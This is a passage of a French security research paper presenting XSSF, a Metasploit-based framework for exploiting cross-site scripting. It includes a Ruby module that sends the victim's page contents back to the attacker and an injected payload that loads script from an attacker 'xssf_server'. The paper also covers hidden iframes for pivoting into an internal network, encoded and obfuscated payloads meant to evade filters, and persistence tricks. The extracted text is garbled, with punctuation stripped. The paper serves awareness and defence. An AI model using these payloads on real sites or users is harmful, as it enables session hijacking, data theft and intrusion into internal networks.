Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
